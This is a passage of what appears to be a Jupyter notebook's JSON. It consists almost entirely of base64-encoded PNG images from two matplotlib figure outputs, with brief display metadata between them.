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\nSgWDLEmSJEmSJKWCQZYkSZIkSZJSwSBL6sDweZUMn1fZ+UBJkiRJkpR3BlmSJEmSJElKBYMsSZIk\nSZIkpYJBliRJkiRJklKhtNAFSJIkSZLaVj383eu11rxRW8BKJCkZnJElSZIkdcAvf5EkKTkMspR6\n1cMrW/ylSpIkSZIk9U8GWZIkSZKUEs4QlJLHyRV9yyBLkiRJSgA/CEnqT3xOU74YZEmSJKlPOJNE\nkiT1lN9aKEmSpF7jN6xJkqR8MsiSJEmSJEl9wj94dCx35vIbkzw+bTHIkiRJkiQpZQyE0qcppHpj\nUq396wGDLBWUabMkSenX9GbcN+KSJCnfDLIkSZIkSVIqObNp4PFbC6UU8dueJEmSJEkDmUGWJEmS\nJEmSUqHPTy0MITwFrMnefQm4Cfg+UA8siTHODCEUA/OAfYGNwNdijC+EEA7oydi+20upc15PZGu5\nFz+UpHzw9ANJ3eX7ExWa/wallvo0yAohDAaIMY7NWfY08CXgb8AvQwijgA8Cg2OMB2YDqauBY4Ab\nezI2xviHvthPdSz3QwQzClaGJEka4PyjkjRw+YcNKb36ekbWvkB5CGFJ9mfPAMpijC8ChBAWA4cC\nuwAPAsQYl4YQ9g8hVPbCWIMs5YV/JZEkSZKkvuHnr4Gtr4OsdcBs4BZgT+BXwOqcx+uAPYBK3j39\nEGBLdlltD8eqQPrqiSb3Qugd/Syf+Aa2rv47Ue/weEuSJPWOFme3SANUXwdZfwVeiDE2An8NIawB\n3pPzeAWZYKs8e7tJMZlgqqKHYztUVVVOaWlJl3cGoLq6ovNBaVdU9O7txsZ37zc2dntTHR2v3Me6\ncruzbXelN13tX7fGdfP4dGefultPX+ntevpy/5J2LHsq6fuT9PryZaDud9Jsy+uEuqerx7irr+19\nZVven+Rz20k/Jlu9NxwgktaXJNTTX3T3WBbq2G/L54Z86o3PUj2tO5+vO9syblu33d7ld9L6e57v\nuvs6yDoDGAlMCiHsSiaEWhtC+DCZa1l9AZgJ7A6MA36Sve7V8hhjbQhhUw/HdmjVqnXd2pnq6gpq\nauq6tU4aVefcrqmpa76/Lfueu35Hj+Vuu+l2e8e7vXq6Ul9X96Gmpq5Ls0q6c3zaG9f6eLf3c5Ii\nH78Hfbl/STqWPZWG56Sk15cPaejLQNDUh648xw40vXGdmNzXtO68jhX696O9unO19Z6kOzpap/X7\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c21d04cf8>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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\ny7KOS5Jpmt+R9E